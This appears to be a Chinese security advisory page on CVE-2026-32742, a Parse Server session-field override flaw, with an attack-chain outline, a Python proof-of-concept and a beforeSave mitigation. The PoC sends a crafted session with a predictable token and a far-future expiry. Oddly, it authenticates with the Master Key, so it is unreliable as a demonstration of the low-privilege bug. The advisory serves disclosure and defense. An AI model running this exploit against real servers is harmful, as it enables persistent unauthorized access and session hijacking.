IPBUF安全漏洞报告
English
CVE-2026-32742 CVSS 4.3 中危

CVE-2026-32742 Parse Server会话字段覆盖漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32742
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

权限绕过会话管理Parse ServerNode.jsCVE-2026-32742会话过期绕过字段覆盖开源后端

漏洞概述

Parse Server是一个开源后端框架,可部署在任何可以运行Node.js的基础设施上。该漏洞存在于9.6.0-alpha.17和8.6.42之前的版本中,允许已认证用户在创建会话对象时覆盖服务器生成的会话字段(sessionToken、expiresAt、createdWith)。攻击者可以通过构造恶意的POST请求,在会话创建过程中注入这些关键字段,从而绕过服务器的会话过期策略。通过设置任意的远期过期日期,攻击者可以实现会话持久化,延长未授权访问的时间窗口。此外,攻击者还可以设置可预测的会话令牌值,这可能导致会话被劫持或冒充。由于该漏洞需要低权限认证才能利用,因此对系统安全性构成中等威胁。CVSS评分4.3反映了该漏洞的有限影响范围和需要认证的要求。

技术细节

Parse Server的会话创建端点POST /classes/_Session在处理用户请求时,未能正确过滤或验证服务器生成的会话字段。正常情况下,以下字段应由服务器自动生成且不可被用户修改:sessionToken(会话令牌)、expiresAt(过期时间)、createdWith(创建方式)。但在受影响版本中,服务器直接接受用户提供的这些字段值并写入数据库。攻击者利用此漏洞的具体方式包括:1) 设置expiresAt为遥远的未来日期(如2099-12-31),使会话永远不会过期;2) 提供可预测的sessionToken值,便于后续会话劫持;3) 修改createdWith字段以隐藏真实的会话创建方式。修复后的版本在会话创建端点增加了字段过滤机制,从用户提交的数据中移除服务器生成的字段,防止覆盖行为。

攻击链分析

STEP 1
Reconnaissance
识别目标环境是否运行Parse Server,并确定其版本号(< 8.6.42 或 < 9.6.0-alpha.17)
STEP 2
Authentication
攻击者使用有效凭证登录Parse Server,获取有效的sessionToken进行认证
STEP 3
Craft Malicious Request
构造包含恶意sessionToken、expiresAt和createdWith字段的POST请求到/classes/_Session端点
STEP 4
Session Override
服务器接受用户提供的服务器生成字段,创建具有自定义过期时间和令牌值的会话对象
STEP 5
Persistence
通过设置远期过期日期实现会话持久化,或使用可预测的令牌值准备后续会话劫持攻击
STEP 6
Unauthorized Access
利用持久化或可预测的会话令牌,在会话正常应该过期后仍能保持访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-32742 PoC - Parse Server Session Field Override # Target: Parse Server < 8.6.42 or < 9.6.0-alpha.17 TARGET_URL = "http://target-server:1337/parse" APP_ID = "your-app-id" # Replace with actual Application ID API_KEY = "your-master-key" # Replace with actual Master Key # Authenticate and get session def authenticate(): login_url = f"{TARGET_URL}/login" headers = { "X-Parse-Application-Id": APP_ID, "X-Parse-Master-Key": API_KEY } data = { "username": "attacker", "password": "password123" } response = requests.post(login_url, json=data, headers=headers) return response.json().get("sessionToken") # Exploit: Override server-generated session fields def exploit_session_override(session_token): url = f"{TARGET_URL}/classes/_Session" headers = { "X-Parse-Application-Id": APP_ID, "X-Parse-Master-Key": API_KEY, "X-Parse-Session-Token": session_token, "Content-Type": "application/json" } # Malicious payload - override server-generated fields payload = { "sessionToken": "predictable_token_12345", # Custom session token "expiresAt": { "__type": "Date", "iso": "2099-12-31T23:59:59.000Z" # Far future expiration }, "createdWith": { "action": "login", "authProvider": "password" }, "user": { "__type": "Pointer", "className": "_User", "objectId": "target-user-id" } } response = requests.post(url, json=payload, headers=headers) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response.status_code == 201 if __name__ == "__main__": print("CVE-2026-32742 - Parse Server Session Field Override") session_token = authenticate() if session_token: print(f"Authenticated successfully, Session: {session_token}") if exploit_session_override(session_token): print("Exploitation successful - session fields can be overridden") else: print("Exploitation failed or target is patched") else: print("Authentication failed")

影响范围

Parse Server < 8.6.42
Parse Server < 9.6.0-alpha.17

防御指南

临时缓解措施
作为临时缓解措施,应在Parse Server的_Session类上创建beforeSave云函数触发器,在会话保存前检查并移除或拒绝用户提交的sessionToken、expiresAt、createdWith字段。以下为触发器示例代码:Parse.Cloud.beforeSave('_Session', async(request) => { const disallowedFields = ['sessionToken', 'expiresAt', 'createdWith']; disallowedFields.forEach(field => { if (request.object.has(field)) { request.object.unset(field); } }); });

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表